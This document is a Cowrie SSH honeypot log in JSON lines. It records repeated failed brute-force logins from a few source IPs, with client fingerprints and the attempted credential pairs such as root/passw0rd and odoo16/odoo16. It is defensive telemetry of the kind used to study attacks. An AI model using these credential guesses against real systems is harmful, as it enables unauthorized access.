{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:53.072774Z","src_ip":"176.65.139.95","session":"e7a501ee5036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:54.181909Z","src_ip":"176.65.139.95","session":"e7a501ee5036","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50948,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b9e95d550d","protocol":"ssh","message":"New connection: 176.65.139.95:50948 (159.203.135.109:22) [session: 02b9e95d550d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:59.073985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:59.081122Z","src_ip":"176.65.139.95","session":"02b9e95d550d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:59.156376Z","src_ip":"176.65.139.95","session":"02b9e95d550d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:38:59.705284Z","src_ip":"176.65.139.95","session":"02b9e95d550d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:00.855333Z","src_ip":"176.65.139.95","session":"02b9e95d550d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50956,"dst_ip":"159.203.135.109","dst_port":22,"session":"7698046a3183","protocol":"ssh","message":"New connection: 176.65.139.95:50956 (159.203.135.109:22) [session: 7698046a3183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:05.579636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:05.617244Z","src_ip":"176.65.139.95","session":"7698046a3183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:05.739319Z","src_ip":"176.65.139.95","session":"7698046a3183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:06.135107Z","src_ip":"176.65.139.95","session":"7698046a3183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:07.219980Z","src_ip":"176.65.139.95","session":"7698046a3183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40312,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b313e25d0dd","protocol":"ssh","message":"New connection: 176.65.139.95:40312 (159.203.135.109:22) [session: 1b313e25d0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:12.640754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:12.644925Z","src_ip":"176.65.139.95","session":"1b313e25d0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:12.726556Z","src_ip":"176.65.139.95","session":"1b313e25d0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:13.064270Z","src_ip":"176.65.139.95","session":"1b313e25d0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:14.159204Z","src_ip":"176.65.139.95","session":"1b313e25d0dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43414,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d204002e4a5","protocol":"ssh","message":"New connection: 176.65.139.95:43414 (159.203.135.109:22) [session: 3d204002e4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:19.258593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:19.263795Z","src_ip":"176.65.139.95","session":"3d204002e4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:19.358998Z","src_ip":"176.65.139.95","session":"3d204002e4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:19.619690Z","src_ip":"176.65.139.95","session":"3d204002e4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:20.751803Z","src_ip":"176.65.139.95","session":"3d204002e4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43430,"dst_ip":"159.203.135.109","dst_port":22,"session":"148c83159227","protocol":"ssh","message":"New connection: 176.65.139.95:43430 (159.203.135.109:22) [session: 148c83159227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:25.755537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:25.776676Z","src_ip":"176.65.139.95","session":"148c83159227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:26.067113Z","src_ip":"176.65.139.95","session":"148c83159227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:26.492734Z","src_ip":"176.65.139.95","session":"148c83159227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:27.582545Z","src_ip":"176.65.139.95","session":"148c83159227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37350,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d0a1ba1f072","protocol":"ssh","message":"New connection: 159.203.92.129:37350 (159.203.135.109:22) [session: 5d0a1ba1f072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:29.428016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:29.433800Z","src_ip":"159.203.92.129","session":"5d0a1ba1f072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:29.439133Z","src_ip":"159.203.92.129","session":"5d0a1ba1f072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"IEUser","password":"123456","message":"login attempt [IEUser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:29.451604Z","src_ip":"159.203.92.129","session":"5d0a1ba1f072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:30.459064Z","src_ip":"159.203.92.129","session":"5d0a1ba1f072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50252,"dst_ip":"159.203.135.109","dst_port":22,"session":"790efb43f799","protocol":"ssh","message":"New connection: 176.65.139.95:50252 (159.203.135.109:22) [session: 790efb43f799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:32.399920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:32.404830Z","src_ip":"176.65.139.95","session":"790efb43f799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:32.489824Z","src_ip":"176.65.139.95","session":"790efb43f799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:32.881265Z","src_ip":"176.65.139.95","session":"790efb43f799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:34.054152Z","src_ip":"176.65.139.95","session":"790efb43f799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.202.183.103","src_port":41087,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f5b9c3b61a0","protocol":"telnet","message":"New connection: 143.202.183.103:41087 (10.17.0.5:23) [session: 5f5b9c3b61a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:36.014239Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.202.183.103","src_port":40373,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0536aec640","protocol":"telnet","message":"New connection: 143.202.183.103:40373 (10.17.0.5:23) [session: 6d0536aec640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:38.213248Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53052,"dst_ip":"159.203.135.109","dst_port":22,"session":"e71c612c74a1","protocol":"ssh","message":"New connection: 176.65.139.95:53052 (159.203.135.109:22) [session: e71c612c74a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:38.919066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:38.923748Z","src_ip":"176.65.139.95","session":"e71c612c74a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:39.047505Z","src_ip":"176.65.139.95","session":"e71c612c74a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:39.301268Z","src_ip":"176.65.139.95","session":"e71c612c74a1","protocol":"ssh"}
